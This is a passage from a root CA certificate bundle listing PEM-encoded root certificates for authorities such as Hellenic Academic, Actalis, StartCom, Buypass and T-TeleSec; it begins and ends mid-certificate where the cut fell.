BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0 Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2 E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D 5EI= -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Trustis FPS Root CA =================== -----BEGIN CERTIFICATE----- MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290 IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P 8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl iB6XzCGcKQENZetX2fNXlrtIzYE= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM3WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFulF2mHMMo0aEPQ Qa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCCATgwLgYIKwYBBQUHAgEWImh0 dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cu c3RhcnRzc2wuY29tL2ludGVybWVkaWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENv bW1lcmNpYWwgKFN0YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0 aGUgc2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0 aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cuc3RhcnRzc2wuY29t L3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBG cmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5 fPGFf59Jb2vKXfuM/gTFwWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWm N3PH/UvSTa0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst0OcN Org+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNcpRJvkrKTlMeIFw6T tn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKlCcWw0bdT82AUuoVpaiF8H3VhFyAX e2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVFP0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA 2MFrLH9ZXF2RsXAiV+uKa0hK1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBs HvUwyKMQ5bLmKhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ8dCAWZvLMdib D4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnmfyWl8kgAwKQB2j8= -----END CERTIFICATE----- StartCom Certification Authority G2 =================================== -----BEGIN CERTIFICATE----- MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg RzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UE ChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkgRzIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8O o1XJJZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsDvfOpL9HG 4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnooD/Uefyf3lLE3PbfHkffi Aez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/Q0kGi4xDuFby2X8hQxfqp0iVAXV16iul Q5XqFYSdCI0mblWbq9zSOdIxHWDirMxWRST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbs O+wmETRIjfaAKxojAuuKHDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8H vKTlXcxNnw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM0D4L nMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/iUUjXuG+v+E5+M5iS FGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9Ha90OrInwMEePnWjFqmveiJdnxMa z6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHgTuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJ KoZIhvcNAQELBQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K 2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfXUfEpY9Z1zRbk J4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl6/2o1PXWT6RbdejF0mCy2wl+ JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG /+gyRr61M3Z3qAFdlsHB1b6uJcDJHgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTc nIhT76IxW1hPkWLIwpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/Xld blhYXzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5lIxKVCCIc l85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoohdVddLHRDiBYmxOlsGOm 7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulrso8uBtjRkcfGEvRM/TAXw8HaOFvjqerm obp573PYtlNXLfbQ4ddI -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 3 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK 9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W 0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw== -----END CERTIFICATE----- EE Certification Centre Root CA =============================== -----BEGIN CERTIFICATE----- MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2 